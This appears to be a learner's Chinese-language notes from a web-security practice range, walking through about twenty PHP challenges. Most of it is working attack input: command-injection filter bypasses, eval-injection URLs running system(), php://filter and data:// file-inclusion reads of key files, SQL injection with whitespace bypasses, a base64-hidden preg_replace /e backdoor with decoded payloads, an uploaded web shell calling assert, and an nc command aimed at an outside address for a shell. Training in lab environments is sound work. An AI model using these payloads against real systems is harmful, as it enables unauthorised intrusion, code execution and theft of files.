单项测试192.168.7.250
单项测试192.168.7.250
10002和10006没有
总结提升:
GLOBALS
_SRRVER
10010为什么不行,serialize,
包含文件,和包含php://filter之后的文件内容区别
10012不知道干嘛的,因为没有了解靶场flag的存在形式
key.php flag.php cisp.php
文件包含file1的时候,的区别
file1=key.php # 这里包含的是文件被执行之后的结果
file1=php://filter/convert.base64-encode/resource=key.php # 这里包含的是
10014我一直在问为什么没有回显,
一个界面是文件包含的,一个界面是源文件
以后一定要先信息泄露查看(目录遍历,协议读源文件)
10015编码问题,
说是工具问题,或者就是要注意,有时候不对
10017一直抓不到得分的表
不要刻板思维,这里是访问界面然后加1分(不要以为就是改包)
自己做:
下去10008总结,命令的正则匹配
10011纯文件包含,在不知道文件的时候怎么爆破
10009没有getshell
10000
命令执行,为什么换行就可以执行
&|;换行
l\s
'l's
l?
l*
空格:
$IFS
$IFS$9
%0a
%09
10001
http://192.168.7.250:10001/main.php
admin'#
a
这个二次注入,我感觉。一般就这么测试。
有条件写脚本
10003
http://192.168.7.250:10003/?cmd=ls&&_SERVER[REMOTE_ADDR]=shell
_SERVER[REMOTE_ADDR]这个有点奇怪
10004
<!-- $u = $_GET["user"];
$v = $_GET["variable"];
$flag='flag{***}';
if(isset($u)&&(file_get_contents($u,'r')==="i'm admin")){
echo "hello admin!<br>";
if(preg_match("/flag/",$v)){
exit("You can't do it");
}else{
eval("var_dump($$v);");
}
}else{
echo "you are not admin ! ";
} -->
user存在ssrf,漏洞来源file_get_contents
传入数据的方式*4
https://gitee.com/zoukb/sha/raw/master/t.txt
php://input post传入数据
data://text/plain,i%27m%20admin
data://text/plain;base64,aSdtIGFkbWlu
要是多一层解析可以尝试
variable=_GET[a]&a=flag
可能的方法
variable=A&A=flag
这里不行是因为后端没有用$_GET接收传值,所以不能盲目传值
变量链:存储所有变量
variable=GLOBALS
10005
eval("echo (\"" . strtolower($a) . "\");");
// 点,典型的字符串拼接
http://192.168.7.250:10005/vulnerabilities/fu1.php?a=1");system("ls
10007
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
// 被当成字符串,里面的变量传来也是字符串
http://192.168.7.250:10007/vulnerabilities/fu1.php?hello=1);system(ls
10008
127.0.0.1&&'l's
127.0.0.1&&ca\t ../key.ph?
// 我没有复现出命令的正则匹配
10009
http://192.168.7.250:10009/?_SERVER[REMOTE_ADDR]=shell&cmd=nc -n 10.10.10.54 44
一直再转,内网问题??
10010
http://192.168.7.250:10010/
http://192.168.7.250:10010/vulnerabilities/fu1.php?str=s:8:%22key2.php%22;
http://192.168.7.250:10010/vulnerabilities/fu1.php?str=s:52:%22php://filter/convert.base64-encode/resource=key2.php%22;
10011
http://192.168.7.250:10011/vulnerabilities/fu1.php?file=php://filter/convert.base64-encode/resource=../key.php
10012
datadata://://text
我就看到过滤了个data://
完全不知干嘛的
没有ssrf
原来是读key文件
http://192.168.7.250:10012/fun.php?page=phpphp://://filter/read=convert.base64-encode/resource=key.php
10013
为什么这个不行
http://192.168.7.250:10013/?file2=data://text/plain,ZLHZ_M&file1=key.php
http://192.168.7.250:10013/?file2=data://text/plain,ZLHZ_M&file1=php://filter/convert.base64-encode/resource=key.php
10014
<?php
@$a = $_POST['Hello'];
if(isset($a)){
@preg_replace("/\[(.*)\]/e",'\\1',base64_decode('W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10='));
}
?>
为什么没有回显
Hello=abc&z0=c3lzdGVtKCJ3aG9hbWkiKTs=
Hello=1&z0=
Hello=1&z0=c3lzdGVtKCdjYXQga2V5LnBocCcpOw==
10015
越权漏洞多尝试
ture
True
1
变为这个我是没看懂
R3Vlc3Q%253D
YWRtaW4%3d
10016
日志检查检查出来它在爆破,看到一个200的登录界面,爆破
admin
password123
10018
key[]=1
$_GET[key]认为他为1
但是,这些函数处理时都认为它是数组而返回flase
extract($_POST);
foreach ($_POST as $var) {
if (preg_match("/[a-zA-Z0-9]/", $var)) {
if (strcmp($_GET['key4'], file_get_contents("/flag")) == 0)
if (md5($_POST['key3']) === sha1($_POST['key3'])) {
10019
GET /vulnerabilities/fu1.php?id=1')%09and%091=1%09and%09('1 HTTP/1.1
剩下的要写脚本
当然不用,你个憨批忘记完了。手工注入,还有读文件啊。
空格
%09
%0a
%0b
%0c
%0d
%23
%2d%2d%09
--%09
10020
传入111.php3双写绕过php,剩下的传入,动态调用
GIF86A
<?pphphp
highlight_file(__FILE__);
echo 111;
$a=$_REQUEST[111];
$b=$_REQUEST[222];
echo $a;
echo $b;
$a($b);
?>
传入111=assert

浙公网安备 33010602011771号